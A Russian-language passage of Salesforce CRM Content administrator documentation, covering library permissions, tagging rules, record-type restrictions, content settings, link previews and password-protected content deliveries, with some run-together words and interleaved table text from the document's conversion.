Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания полномочий
библиотеки:
• «Управление Salesforce

CRM Content»

ИЛИ

«Управление
полномочиями
содержимого»

Чтобы создать полномочие библиотеки в Salesforce CRM Content, введите строку
«Полномочия содержимого» в поле «Быстрый поиск» и выберите «Полномочия
содержимого». Затем щелкните «Добавить полномочия библиотеки».

Совет: Организациям Salesforce CRM Content, созданным после выпуска версии
Spring'09, автоматическиназначаютсятриполномочия: администраторбиблиотеки,
автори гость. Впротивномслучаеонимогут быть созданыпользователем. Этитри
полномочия определяют разные уровни доступа к библиотеке, необходимые для
большинстваорганизаций. Дляполномочия «Гость» установитефлажки «Просмотр
комментариев» и «Добавить комментарии». Дляполномочия «Автор» установите
флажки «Добавить содержимое», «Добавить содержимое от имени других
пользователей», «Архивировать содержимое», «Добавить комментарии» и
«Присвоить тег содержимому». Для полномочия «Администратор библиотеки»
установите флажок «Управление библиотеками».

1. Введите имя полномочия библиотеки.

2. При необходимости введите описание полномочия библиотеки. При наличии
несколькихполномочийбиблиотекирекомендуемуказатьвыполняемыеимифункции
или краткие сведения о каждом из них. Например, для полномочия «Эксперт по
маркетингу» можно указать следующее описание: «Проверка всего содержимого,
используемого во внешних маркетинговых кампаниях» или «Данный пользователь
может просматривать и комментировать документы».

3. Установите флажки напротив нужных полномочий пользователя в разделе
«Полномочия».

ОписаниеПолномочие библиотеки

Пользователю доступны любые
действия. Данноеполномочиепозволяет

Управление библиотеками

редактировать имя и описание
библиотеки, добавлять и удалять
участников библиотеки, а также удалять
сами библиотеки.

Для создания библиотеки требуется
полномочие «Управление Salesforce CRM
Content» или «Создание библиотек».

Публикация нового содержимого в
библиотеку, загрузка новых версий

Добавить содержимое

содержимого и восстановление
архивного (удаленного) содержимого.
Кроме того, авторы могут изменять
любые теги, связанные с содержимым, а
также архивировать или удалять
собственное содержимое.

Выбор автора для публикации
содержимого в библиотеку.

Добавить содержимое от имени других
пользователей

3715

Настройка содержимогоНастройка и обслуживание инструментов сотрудничества



ОписаниеПолномочие библиотеки

Архивирование и восстановление любого содержимого
библиотеки.

Архивировать содержимое

Удаление любого содержимого библиотеки. Авторы
могут восстанавливать собственное содержимое из
корзины.

Удалить содержимое

Определениелюбогосодержимогобиблиотекивкачестве
специального.

Пометить содержимое как специальное

Чтение комментариев, опубликованных для любого
содержимого библиотеки.

Просмотр комментариев

Публикация комментариев для любого содержимого
библиотекиипросмотрвсехкомментариев, добавленных

Добавить комментарии

в библиотеку. Пользователи могут редактировать и
удалять собственные комментарии.

Редактирование и удаление комментариев,
опубликованных для любого содержимого библиотеки.

Изменить комментарии

Добавление тегов при публикации содержимого или
редактировании сведений о содержимом библиотеки.

Присвоить тег содержимому

Созданиедоставкисодержимогонаосновелюбыхфайлов
библиотеки.

Доставить содержимое

Предоставление доступа к содержимому библиотеки в
сети Chatter. Находясь в сети Chatter, выберите нужный

Вложить или опубликовать содержимое для общего
доступа в Chatter

файл в библиотеке и добавьте его в сообщение или
опубликуйте для общего доступа.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание библиотек

Управление полномочиями библиотеки

Редактирование полномочий библиотеки
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Редактирование полномочий библиотеки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
полномочий библиотеки:
• «Управление Salesforce

CRM Content»

ИЛИ

«Управление
полномочиями
содержимого»

Чтобы изменить полномочие библиотеки в Salesforce CRM Content, введите строку
«Полномочия содержимого» в поле «Быстрый поиск» и выберите «Полномочия
содержимого». Щелкните ссылку «Правка» у нужного полномочия.

1. Введите имя полномочия библиотеки.

2. При необходимости введите описание полномочия библиотеки. При наличии
несколькихполномочийбиблиотекирекомендуемуказатьвыполняемыеимифункции
или краткие сведения о каждом из них. Например, для полномочия «Эксперт по
маркетингу» можно указать следующее описание: «Проверка всего содержимого,
используемого во внешних маркетинговых кампаниях» или «Данный пользователь
может просматривать и комментировать документы».

3. Установите флажки напротив нужных полномочий пользователя в разделе
«Полномочия».

ОписаниеПолномочие библиотеки

Пользователю доступны любые
действия. Данноеполномочиепозволяет
редактировать имя и описание
библиотеки, добавлять и удалять
участников библиотеки, а также удалять
сами библиотеки.

Для создания библиотеки требуется
полномочие «Управление Salesforce CRM
Content» или «Создание библиотек».

Управление библиотеками

Публикация нового содержимого в
библиотеку, загрузка новых версий

Добавить содержимое

содержимого и восстановление
архивного (удаленного) содержимого.
Кроме того, авторы могут изменять
любые теги, связанные с содержимым, а
также архивировать или удалять
собственное содержимое.

Выбор автора для публикации
содержимого в библиотеку.

Добавить содержимое от имени других
пользователей

Архивирование и восстановление
любого содержимого библиотеки.

Архивировать содержимое

Удаление любого содержимого
библиотеки. Авторы могут

Удалить содержимое

восстанавливать собственное
содержимое из корзины.

Определение любого содержимого
библиотеки в качестве специального.

Пометить содержимое как специальное
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ОписаниеПолномочие библиотеки

Чтение комментариев, опубликованных для любого
содержимого библиотеки.

Просмотр комментариев

Публикация комментариев для любого содержимого
библиотекиипросмотрвсехкомментариев, добавленных

Добавить комментарии

в библиотеку. Пользователи могут редактировать и
удалять собственные комментарии.

Редактирование и удаление комментариев,
опубликованных для любого содержимого библиотеки.

Изменить комментарии

Добавление тегов при публикации содержимого или
редактировании сведений о содержимом библиотеки.

Присвоить тег содержимому

Созданиедоставкисодержимогонаосновелюбыхфайлов
библиотеки.

Доставить содержимое

Предоставление доступа к содержимому библиотеки в
сети Chatter. Находясь в сети Chatter, выберите нужный

Вложить или опубликовать содержимое для общего
доступа в Chatter

файл в библиотеке и добавьте его в сообщение или
опубликуйте для общего доступа.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание библиотек

Управление полномочиями библиотеки

Удаление полномочий библиотеки
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Удаление полномочий библиотеки

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления полномочий
библиотеки:
• «Управление Salesforce

CRM Content»

ИЛИ

«Управление
полномочиями
содержимого»

ЧтобыудалитьнастраиваемоеполномочиебиблиотекиSalesforce CRM Content, выполните
указанные ниже действия.

1. Введите строку «Полномочия содержимого» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Полномочия содержимого».

2. Щелкните ссылку «Удал.» напротив нужного полномочия.

3. Просмотрите список затронутых пользователей. Страница удаления содержит всех
пользователей Salesforce CRM Content, которым назначено данное полномочие
библиотеки. В случае удаления полномочия эти пользователи потеряют доступ к
соответствующей библиотеке.

4. Для подтверждения нажмите кнопку «Удалить полномочие».

СМ. ТАКЖЕ:

Создание библиотек
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Назначение библиотеке правил присвоения тегов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения библиотеке
правила присвоения тегов:
• «Управление Salesforce

CRM Content»

ИЛИ

Флажок «Управление
библиотеками»,
установленный в
определении
полномочий
библиотеки

Теги — это описательные метки, которые позволяют классифицировать и
систематизировать содержимое Salesforce CRM Content. Теги могут быть присвоены
файлам, пакетамсодержимого, веб-ссылкамилидокументамGoogle. Участникибиблиотек
могут использовать теги для просмотра содержимого. Правило присвоения тегов
определяет способы присвоения тегов содержимому библиотеки. Например, правило
ограниченного присвоения тегов не позволяет авторам добавлять новые теги. Правила
присвоения тегов задаются в библиотеке по желанию. По умолчанию допускается
использование любого тега.

Чтобы назначить библиотеке правило присвоения тегов, выполните указанные ниже
действия.

1. Выберитенужнуюбиблиотекувразделе«Моибиблиотеки»навкладке «Библиотеки».

2. Щелкните ссылку «Правила присвоения тегов» и установите один из указанных
ниже переключателей.

ОписаниеПравило присвоения тегов

Данное правило не ограничивает
процесс присвоения тегов. При
публикации или редактировании
содержимого авторы могут вводить
любые теги. Привводе тегаприложение
Salesforce CRM Content автоматически
предлагает варианты тегов на основе
списка «Мои недавние теги» и раздела
«Популярные теги».

Открытое присвоение тегов

Данное правило позволяет авторам
вводитьлюбыетегиприпубликацииили
редактировании содержимого, а также

Управляемое присвоение тегов

просматривать список предложенных
тегов. При установке данного
переключателя пользователю
предлагается ввестипредложенныетеги.

Данное правило определяет список
предложенныхтегов, доступныхавторам

Ограниченное присвоение тегов

для выбора. При установке данного
переключателя пользователю
предлагается ввестипредложенныетеги.

3. Приустановкепереключателя«Управляемоеприсвоениетегов»или«Ограниченноеприсвоениетегов»щелкните
ссылку для автоматического заполнения поля «Предложенные теги». При необходимости добавьте, измените или
удалите теги. Если поле «Предложенные теги» не заполняется автоматически, то любые новые теги, введенные в
данное поле, добавляются в текущий список предложенных тегов библиотеки.

4. Нажмите кнопку «Сохранить».
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Примечания к правилам присвоения тегов

• Переключатель «Открытое присвоение тегов» устанавливается по умолчанию.

• Еслисодержимоепубликуетсяилиперемещаетсявбиблиотеку, длякоторойзаданоправилоограниченногоприсвоения
тегов, то при наличии неподдерживаемых тегов отображается соответствующая ошибка.

• Если содержимое одной библиотеки становится доступным другой библиотеке, то применяется наиболее строгое
правило присвоения тегов. Например:

– Если содержимое доступно в двух библиотеках (ограниченное присвоение тегов в одной и управляемое или
ограниченное присвоение тегов в другой), то для выбора доступны только те теги, которые используются в обеих
библиотеках.

– Если содержимое доступно в двух библиотеках (открытое присвоение тегов в однойи ограниченное присвоение
тегов в другой), то для выбора доступны только те теги, которые используются в библиотеке с ограниченным
присвоением тегов.

• Если правило ограниченного присвоения тегов применяется после публикации содержимого в библиотеке, а
содержимомуприсвоены теги, которые не поддерживаются заданнымправилом, то эти теги остаются назначенными
содержимому до тех пор, пока оно не будет изменено или пересмотрено. Например, если документу «Прогноз на
3 квартал» присвоен тег «рыночные показатели», который не поддерживается новым правилом ограниченного
присвоения тегов, то этот тег будет удален из документа «Прогноз на 3 квартал» только после публикации новой
версии файла или редактирования тегов файла на странице сведений о содержимом.

• Рекомендуемиспользоватьнебольшоеколичествотегов. Механизмпоискапомогаетнаходитьконкретноесодержимое,
а теги позволяют просматривать содержимое и подписываться на него. Таким образом, большое количество тегов
может создавать дополнительные неудобства во время работы.

• Имя тега не может быть изменено или удалено. Теги, удаленные из документа, сохраняются в системе.

• Теги нечувствительны к регистру. Запрещается использовать два одинаковых имени тега, даже если их начальные
буквы различаются в регистре. Всегда используется регистр исходного тега.

СМ. ТАКЖЕ:

Создание библиотек
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Ограничение типов записей в библиотеке

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для ограничения типов
записей:
• «Управление типами

записей и макетами для
файлов»

ИЛИ

«Управление Salesforce
CRM Content»

Администраторы библиотеки могут выбирать типы записей, доступные в библиотеке.
Кроме того, они могут задавать стандартный тип записи для публикации содержимого
в библиотеку.

Чтобы ограничить типы записей, разрешенные в библиотеке, выполните
указанные ниже действия.

1. Выберитенужнуюбиблиотекувразделе«Моибиблиотеки»навкладке «Библиотеки».

2. Щелкните ссылку «Типы записей».

3. При необходимости измените стандартный тип записи для библиотеки.

4. Установите флажок «Ограничить типы записей, доступные в библиотеке».

5. Установите один или оба указанных ниже флажка.

• «Разрешить связывание любого типа записи с этой библиотекой»: установите
данныйфлажок, чтобыразрешитьбиблиотеке сограниченнымитипамизаписей
общий доступ к содержимому, опубликованному в других библиотеках. Общий
доступ к содержимому других библиотек может предоставляться независимо от
используемых типов записей.

• «Не применять ограничения типа записи к текущему содержимому»:
установите данныйфлажок, чтобы отменить получение предупреждений
относительно текущего содержимого библиотеки. Если текущее содержимое
использует типы записей, исключенные из библиотеки, то предупреждения не
отправляются. Данный параметр применяется только к уведомлениям; текущее
содержимое не зависит от ограниченных типов записей.

6. Перенесите нужные типы записей из списка «Доступные типы записей» в список
«Выбранные типы записей».

7. Нажмите кнопку «Сохранить».

Примечания к ограничению типов записей

• Если библиотека уже содержит опубликованное содержимое, то установка флажка «Ограничить типы записей,
доступные в библиотеке» инициирует автоматическое перемещение всех типов записей, используемых
опубликованным содержимым, в список «Выбранные типы записей».

• Снятиефлажка «Ограничить типы записей, доступные в библиотеке» инициируетавтоматическоеперемещение
любых типов записей из списка «Выбранные типы записей» в список «Доступные типы записей».

• При изменении управляющей библиотеки тип записи файла должен поддерживаться новой управляющей
библиотекой.

• Припредоставлениибиблиотекеобщегодоступа кфайлу тип записифайладолженподдерживатьсяобщедоступной
библиотекой, кроме случаев установкифлажка «Разрешить связывание любого типа записи с этой библиотекой»
для общедоступной библиотеки.

• Если стандартный тип записи для профиля пользователя отличается от стандартного типа записи для библиотеки,
то приоритет отдается профилю, пользователь которого предоставляет библиотеке общий доступ к файлу. При
отсутствиистандартноготипа записидляпрофиляпользователятипомзаписи, используемымпоумолчанию, является
«Общий».
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• Приотсутствиитиповзаписей, являющихсяобщимидляпрофиляпользователяибиблиотеки, пользователямданного
профиля, предоставляющимбиблиотекеобщийдоступкфайлам, доступенстандартныйтип записидлябиблиотеки.

Параметры содержимого

Настройка параметров содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
Salesforce CRM Content:
• «Управление Salesforce

CRM Content»

Введите строку «Salesforce CRM Content» в поле «Быстрый поиск» в меню
«Настройка» и выберите «Salesforce CRM Content», чтобы изменить параметры по
умолчанию для своей организации Salesforce CRM Content.

Включить Salesforce CRM Content
Если данныйфлажок установлен, то приложение Salesforce CRM Content включено
в организации.

Автоматически назначать лицензии на компоненты текущим и новым
пользователям

Если данныйфлажок установлен, то система Salesforce пытается автоматически
назначитьлицензиинакомпонентSalesforce CRM Contentвсемтекущимпользователям.
При недостаточном количестве лицензий назначение не выполняется. Для
приобретения дополнительных лицензий рекомендуем обратиться в Salesforce.
Лицензия на компонент Salesforce CRM Content автоматически назначается новым
пользователям при наличии доступных лицензий. Лицензия на компонент
соответствует флажку «Пользователь Salesforce CRM Content»,
установленному на странице сведений о пользователе.

Включить многоязычный поиск и внесение данных
Еслиданныйфлажокустановлен, тораскрывающийсясписок «Язык» отображается
припубликации, редактированииилипоискесодержимого. Раскрывающийсясписок
«Язык» содержит все языки, поддерживаемые системой Salesforce.

Содержимое, припубликациикоторогоневыбираетсяязык, поумолчаниюсвязываетсясличнымязыкомпользователя.
Еслиличныйязыкпользователяотличаетсяотязыкаорганизации, тосодержимое, опубликованноеэтимпользователем,
связывается с его личным языком, а не с языком организации.

Включить создание пакета содержимого
Если данныйфлажок установлен, то кнопка «Создать...» > «Пакет содержимого» отображается на вкладке
«Библиотеки», а пользователи могут создавать пакеты содержимого на основе любых документов или файлов из
личных и общедоступных библиотек Salesforce CRM Content.

Пакеты содержимого, созданные до снятия данного флажка, не удаляются, а пользователям доступно дальнейшее
изменение метаданных (например, описание, заголовок и настраиваемые поля). Тем не менее, пользователи теряют
возможность настройки или изменения текущих пакетов. Так, кнопки «Клонировать и настроить» и «Правка» >
«Редактировать пакет содержимого» становятся недоступными на странице сведений о содержимом.

Включить средство расширенного просмотра документов
Если данныйфлажок установлен, то средство просмотра документов поддерживает расширенные возможности
навигацииинастройки. Средствопросмотрадокументовпозволяетпросматриватьдокументыбезихпредварительной
загрузки, независимо от того, является ли данный документ доставкой содержимого, отправленной интересу,
потенциальному клиенту или коллеге, либо документом, просматриваемым внутренними пользователями Salesforce
CRM Content, либо файлом Salesforce Files.Средство просмотра документов поддерживает три режима: режим
предварительного просмотра (вкладка «Предварительный просмотр» на странице сведений о содержимом), режим
доставки (URL-адрес доставки содержимого) и полноэкранный режим, отображаемый при выборе соответствующего
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параметра на странице сведений о содержимом или в доставке содержимого. Предварительный просмотр файлов
Chatter доступен в лентах, в списках файлов и на вкладке «Файлы». Ниже перечислены действия, доступные
пользователямприпросмотре документов, если установленфлажок «Включить средство расширенного просмотра
документов».

• Чтобыпросмотреть страницыдокумента, щелкните значок следующей ( ), предыдущей ( ), первой ( ) или

последней страницы ( ) на панели инструментов или воспользуйтесь элементами контекстного меню
«Следующаястраница»и«Предыдущаястраница». Контекстноеменюнедоступноврежимепредварительного
просмотра.

• Чтобы открыть нужную страницу, введите ее номер и нажмите клавишу Enter. Данный параметр недоступен в
полноэкранном режиме.

• Чтобы просмотреть документ поширине, выберите пункт контекстного меню «Поширине страницы». Чтобы

просмотреть весь документ, выберите пункт «Страница целиком». Кроме того, значки и доступны на
панели инструментов.

• Чтобыпросмотретьдокументвполноэкранномрежиме, выберитепунктконтекстногоменю«Полноэкранный».

Чтобы закрыть полноэкранный режим, выберите пункт «Выход». Кроме того, значки и доступны на
панели инструментов.

• Выберите пункт контекстного меню «Увеличить» или «Уменьшить». Кроме того, значки и доступнына
панели инструментов.

• Чтобы просмотреть длинный документ, воспользуйтесь полосой прокрутки (вместо параметров «Следующая
страница»и«Предыдущаястраница»). Функциянепрерывнойпрокруткинедоступнаврежимепредварительного
просмотра, а также в любом режиме для документов PowerPoint.

• Чтобыпросмотретьотдельныестраницыдокумента, воспользуйтесь клавишамисо стрелками. Откройте средство
просмотра документов и нажмите нужную клавишу.

– Клавиша со стрелкой вправо: переход на следующий слайд документа PowerPoint; переход на следующую
страницу документа PDF, Word или Excel.

– Клавиша со стрелкой влево: переход на предыдущий слайд документа PowerPoint; переход на предыдущую
страницу документа PDF, Word или Excel.

– Клавиша со стрелкой вверх: переход на следующий слайд документа PowerPoint; прокручивание документа
PDF, Word или Excel вверх.

– Клавиша со стрелкой вниз: переход на предыдущий слайд документа PowerPoint; прокручивание документа
PDF, Word или Excel вниз.

Клавиши со стрелками не поддерживаются в режиме предварительного просмотра.

Разрешить предварительный просмотр содержимого с помощьюпакета приложений Office 2007: пробная
версия

Если данныйфлажок установлен, то файлы Microsoft Office 2007, включая файлы PowerPoint, Word и Excel, полностью
доступны для предварительного просмотра в Salesforce CRM Content и Chatter. Приложение Salesforce CRM Content
исключает необходимость загрузки документов большого размера для определения важности их содержимого. На
странице сведений о содержимом отображаются краткие сведения о документе, в том числе название документа,
автор, описание, теги, библиотеки, комментарии и версии, а также количество отданных голосов, подписчиков и
загрузок. Документы Microsoft PowerPoint, Word, Excel и Adobe® PDF могут просматриваться в обозревателе без
предварительной загрузки. Некоторые аспекты файлов могут не отображаться предварительными просмотрами.
Документы PDF, защищенные от копирования, недоступны для предварительного просмотра.

Также для предварительного просмотра файлов могут использоваться ленты Chatter, вкладка «Файлы», страница
сведений о файле и списки файлов для группы или профиля.
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Прим.: Области предварительного просмотра файлов Office 2007, созданные до снятия данного флажка,
становятся недоступными.

Показатьфайлы Salesforce Files в Salesforce CRM Content
Если данныйфлажок установлен, то функция поиска в Salesforce CRM Content охватывает файлы Salesforce Files.
Раскрывающийся список «Поиск» на вкладках «Содержимое» и «Библиотеки», а также фильтры на вкладке
«Содержимое», включают следующие элементы: «Всефайлы», «Публичныефайлы», «Мои группы» и «Мои
библиотеки».

Если данныйфлажок не установлен, то функция поиска в Salesforce CRM Content не охватывает файлы Salesforce Files.
Раскрывающийся список «Поиск» на вкладках «Содержимое» и «Библиотеки», а также фильтры на вкладке
«Содержимое», включаютследующиеэлементы: «Всебиблиотеки», «Личнаябиблиотека»илюбыеобщедоступные
библиотеки с участием текущего пользователя.

СМ. ТАКЖЕ:

Настройка Salesforce CRM Content

Разрешение предварительных просмотров содержимого в сообщениях-ссылках

Разрешение предварительных просмотров содержимого в сообщениях-ссылках

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager, Developer
Edition и Database.com
Edition.

Salesforce CRM,
утверждения, электронные
уведомления Chatter,
приглашения Chatter и
клиентские приглашения
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения сетиChatter:
• «Настройка

приложения»

Сообщения, содержащие ссылки на мультимедийное содержимое, преобразуются во
встроенные предварительные просмотры видеороликов, изображений и статей.

Прежде чем воспользоваться предварительными просмотрами ссылок, рекомендуем
включить поддержку Chatter.

Мультимедийноесодержимоепредоставляется стороннейобслуживающейкомпанией
Embed.ly. Компании Embed.ly не предоставляется доступ к содержимому, данным
пользователя или организации. Компании доступны только URL-адреса, добавленные в
список разрешенных доменов. Кроме того, все URL-запросы передаются посредством
прокси-сервера Salesforce, поэтомукомпания Embed.ly никогданеполучаетпрямыевызовы
от клиентов и не может просмотреть сведения об авторе URL-запроса.

1. Введите строку «Параметры Chatter» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Chatter».

2. Нажмите кнопку «Правка».

3. Установите флажок «Разрешить предварительные просмотры обогащенных
ссылок».

4. Нажмите кнопку «Сохранить».

Сообщения, содержащиессылкинамультимедийноесодержимое, отображаются в виде
предварительного просмотра, включая миниатюры, описания и видеопроигрыватели
для URL-адресов видеороликов. Если предварительный просмотр ссылки недоступен,
то домен URL-адресов для данной ссылки не поддерживается или платформе Embed.ly
не удалось открыть содержимое данного URL-адреса для предварительного просмотра.

Поддержка мультимедийных предварительных просмотров включена по умолчанию.
В противном случае пользователи могут просматривать только видеоролики YouTube.

СМ. ТАКЖЕ:

Настройка параметров содержимого
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Доставки содержимого

Настройка доставок содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения или
отключения функции
доставки содержимого:
• «Настройка

приложения»

Доставка содержимогопозволяетбыстропреобразовыватьдокументы (например, Microsoft®

PowerPoint и Word) в специальные интерактивные версии, удобные для просмотра в
режимереальноговремени. Каждойсозданнойдоставкеприсваивается зашифрованный
URL-адрес, который может быть отправлен любому получателю (например, интересам,
клиентам, партнерам или коллегам) и позволяет отслеживать количество просмотров
или загрузок содержимого. Доступно только в Salesforce Classic. Lightning Email создает
ссылки на основе доставок в виде вложений эл. почты для пользователей Lightning
Experience, имеющих доступ к функции доставки содержимого.

Помимо функции отслеживания, доставка содержимого имеет ряд преимуществ над
отправкойфайлов в качестве вложений. Например, определение периода доступности
доставки для пользователей, а также выбор доступныхпользователюдействий: загрузка
файла или просмотр интерактивной версии. По умолчанию доставка содержимого
отображает последнюю версию доставляемого файла.

Доставки содержимого создаются с помощью связанного списка «Доставки
содержимого», доступногодлябольшинстваобъектов Salesforce. Пользователи Salesforce
CRM Content могут также создавать доставки содержимого на странице сведений о
содержимом или в связанном списке «Связанное содержимое».

1. Введите строку «Доставка содержимого» вполе «Быстрый поиск» меню «Настройка»,
выберитепункт «Доставкасодержимого»и установитефлажок вполе «Включить
создание доставок содержимого для файлов Salesforce Files»Чтобы активировать функцию «Доставки
содержимого», обратитесь в службу поддержки Salesforce.

2. Выберите значение по умолчанию для парольной защиты доставок содержимого. URL-адреса доставок содержимого
могутбытьотправленыинтересам, клиентамилилюбымнепровереннымпользователям, поэтомукомпанияSalesforce
настоятельно рекомендует использовать защиту паролем при отправке конфиденциальных документов. Параметры
ниже позволяют настроить единые стандартные параметры для парольной защиты доставки содержимого.

• «Защита паролем необязательна (по умолчаниюВЫКЛЮЧЕНА)». Данный переключатель позволяет
пользователям самостоятельно определять необходимость ввода пароля при создании доставки содержимого.
Обратите внимание, чтофлажок «Требовать пароль для доступа к содержимому» не установленпоумолчанию
в мастере создания доставок.

• «Защита паролем необязательна (по умолчаниюВКЛЮЧЕНА)». Данный переключатель автоматически
устанавливает флажок «Требовать пароль для доступа к содержимому» в мастере создания доставок. Чтобы
отключить функцию проверки пароля, снимите данныйфлажок.

• «Требуетсязащитапаролем». Данныйпереключательпозволяетсоздаватьпарольприсозданиикаждойдоставки
содержимого. Функция проверки пароля не может быть отключена.

Прим.:

• Если функция проверки пароля включена, то пароль генерируется при создании доставки содержимого.
Данныйпарольи URL-адресдоставкидолжныбытьотправленыполучателям. Привыборе URL-адресадоставки
содержимого получателям предлагается ввести пароль.

• При создании доставки содержимого пароли отображаются вместе с URL-адресом. Пароль также доступен
на странице сведений о доставке содержимого в течение всего срока ее действия.
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Если функция доставки содержимого включена, то все пользователи должны добавить связанный список «Доставки
содержимого» вмакетыстраницдляинтересов, организаций-компаний, контактов, возможностей, обращений, кампаний
или настраиваемых объектов. В этом случае кнопка «Доставить содержимое» добавляется на все страницы сведений
о содержимом в приложении Salesforce CRM Content.

Советы по внедрению
• Общее количество просмотров доставок содержимого не должно превышать 20 000 в сутки. Кроме того, предельная

пропускная способность, доступная при использовании доставок содержимого, может составлять не более 10 Гб в
сутки. При достижении установленных ограничений отображается уведомление с просьбой повторить попытку.
Заданные ограничения могут быть увеличены компанией Salesforce в индивидуальном порядке. Дополнительную
информацию можно получить у торгового представителя.

• При создании доставки содержимого система Salesforce копирует исходныйфайл и создает его новую версию,
предназначенную для интерактивного просмотра. Ниже перечислены сведения о поддерживаемых типах файлов.

– Интерактивный просмотр доступен для файлов Word, Excel и PowerPoint, начиная с пакета Microsoft® Office 97 и
заканчивая пакетом Microsoft Office 2007.

– Интерактивныйпросмотрдоступендля PDF-файлов Adobe® (кромедокументов PDF, защищенныхот копирования).

– Интерактивный просмотр доступен для файлов JPG, BMP, GIF и PNG.

– Интерактивный просмотр недоступен для документов размером более 25 Мб.

При создании доставки содержимого можно использовать любой тип файла; если используемый тип файла не
поддерживает возможность интерактивного просмотра, то файл может быть загружен только в исходномформате.

• Созданная доставка содержимого должна быть просмотрена до отправки ее URL-адреса получателям. В некоторых
случаях интерактивная версия искажает форматирование исходного файла (например, цвета или нестандартные
шрифты). Если интерактивная версия отображается некорректно, воспользуйтесь мастером создания доставок
содержимого, чтобы предоставить пользователям возможность загрузки содержимого в исходномформате.

• Для просмотра доставок содержимого на компьютере должна быть установлена программа Adobe Flash 9.0.115. В
противном случае отображается диалоговое окно загрузки.

• Пользователи клиентского и партнерского порталов не могут создавать доставки содержимого.

• Удаление записи доставки и редактирование сведений (например, дата истечения срока действия) доступно только
автору.

• Каждый переход по URL-адресу доставки регистрируется системой Salesforce как один просмотр. Просмотры могут
быть внутренними и внешними. Внутренний просмотр — это просмотр пользователем Salesforce. Например, выбор
ссылки «Просмотр» в связанном списке «Доставки содержимого» или URL-адреса доставки на странице сведений о
доставке Связанный список «Доставки содержимого» определяет количество всех просмотров для каждой доставки.
Дополнительная информация об отдельном просмотре доступна на странице сведений о доставке.

Прим.: Просмотром доставки содержимого, защищенной паролем, считается переход по URL-адресу доставки
даже в том случае, если пароль не вводился.

• ПользователиSalesforce CRM Contentмогутвыполнятьдоставкусодержимогоизобщедоступныхилиличныхбиблиотек.

Рекомендации
• Созданная доставка содержимого должна быть просмотрена до отправки ее URL-адреса получателям на предмет

надлежащегоформатированияинтерактивной версииисходногофайла. Например, цвета инестандартныешрифты
могут искажаться в окне предварительного просмотра. Если интерактивная версия отображается некорректно,
щелкните ссылку «Назад» и выберите отображение содержимого только в исходномформате или вформате PDF. В
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этом случае получатели смогут загрузить файл, а автор — отследить количество загрузок на странице сведений о
доставке содержимого.

• Интерактивная версия доставки содержимого не поддерживает анимацию и хронометраж, используемые в файлах
PowerPoint. Гиперссылки не поддерживаются во всех типахфайлов. Полный список поддерживаемых типовфайлов
см. в советах по внедрению.

• Только для пользователей Salesforce CRM Content: чтобы предоставить получателям доставки содержимого доступ к
последней версии файла (вместо версии, доступной на момент создания доставки), откройте страницу сведений о
доставке и нажмите кнопку «Правка». Установите флажок «Последняя версия доставки содержимого».

• Чтобыполучитьэлектронноеуведомлениеопервомпросмотредоставкисодержимого, установитефлажок «Сообщить
мне о первом просмотре или загрузке».

Импликации хранилища
Приложение Salesforce CRM Content использует хранилищефайлов при публикации содержимого в общедоступные
библиотеки или при сохранении содержимого в личную библиотеку. Создание доставок содержимого не влияет на
ограничения по объему хранилища. При частой загрузке файлов в личные библиотеки для их последующей доставки
рекомендуем просмотреть ограничения по объему хранилищафайлов организации. Чтобы определить пользователей
с наибольшим объемом использования хранилища и файлы с наибольшим размером, администраторы организации
могут воспользоваться соответствующими отчетами.

Хранилищефайлов используется при каждом создании доставок содержимого вне приложения Salesforce CRM Content.
Файл, загруженный в систему Salesforce, не может повторно использоваться в разных доставках содержимого. Чтобы
создать несколько доставок содержимого, использующих один и тот же файл, рекомендуем загружать данныйфайл
отдельно для каждой доставки. Удаление доставки содержимого приводит к удалению исходного файла в системе
Salesforce, при этом увеличивая объем хранилищафайлов.

СМ. ТАКЖЕ:

Начальная настройка Salesforce CRM Content

Поля доставки содержимого

Поля доставки содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Приложение Salesforce
CRM Content доступно в
версиях: Contact Manager,
Group Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

В таблице ниже представлено описание полей, используемых в доставке содержимого.
Данные поля доступны в мастере создания доставок, связанном списке «Доставки
содержимого» и на странице сведений о доставке.

ОписаниеПоле

